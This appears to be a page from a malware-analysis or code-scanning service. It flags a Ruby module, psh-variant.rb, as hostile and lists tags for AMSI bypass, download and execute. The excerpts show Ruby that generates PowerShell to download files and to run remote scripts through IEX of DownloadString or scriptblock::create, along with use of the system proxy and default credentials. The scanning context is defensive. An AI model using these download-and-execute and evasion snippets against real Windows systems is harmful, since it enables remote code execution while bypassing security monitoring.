Hostile 100% ruby Download

psh-variant.rb

AMSI bypass, download, execute

AMSI initialization flag forced by reflectionClears forced-logging ScriptBlock signatures
SHA-2563a0036e0db2c426c06983f06dc43576f4e26689ff9dffa9a01b2e10938166781

Evidence

English function-word token "for" lines 3–11
3:11…
4module Powershell
5 ##
6 # Convenience methods for generating Powershell code in Ruby
7 ##
8
9 module PshMethods
10 #
11 # Download file via .NET …
AMSI initialization flag forced by reflection lines 11–26
11:31… ebClient
12 #
13 # @param src [String] URL to the file
14 # @param target [String] Location to save the file
15 #
16 # @return [String] Powershell code to download a file
17 def self.download(src, target)
18 target ||= '$pwd\\' << src.split('/').last
19 %Q^(new-object System.Net.WebClient).DownloadFile('#{src}', '#{target}')^
20 end
21
22 #
23 # Download file via .NET WebClient and execute it afterwards
24 #
25 # @param src [String] URL to the file
26 # @param target [Stri …
PowerShell Get-Process command reference lines 63–73
63 # lock owner
64 def self.who_locked_file(filename)
65 %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
66 end
67
⋯6 lines
ScriptBlock::Create evaluates DownloadString lines 153–177
⋯4 lines
157 for url in urls
158 if iex
159 res << %Q^IEX ((new-object Net.WebClient).DownloadString('#{url}'));^
160 else
161 res << %Q^&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')));^
162 end
163 end
⋯6 lines
170 # @ return [String] Powershell code to force use of TLS1.2
171 def self.force_tls12()
172 %Q^[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;^
173 end
174
175 # Use the default system web proxy and credentials
176 #
177 # @return [String] Powershell code to use the default …
WebRequest system proxy lookup lines 181–190
181:62… ress -ne $null){"
182 cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
183 cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
184 cmd << "};"
185 cmd
⋯5 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.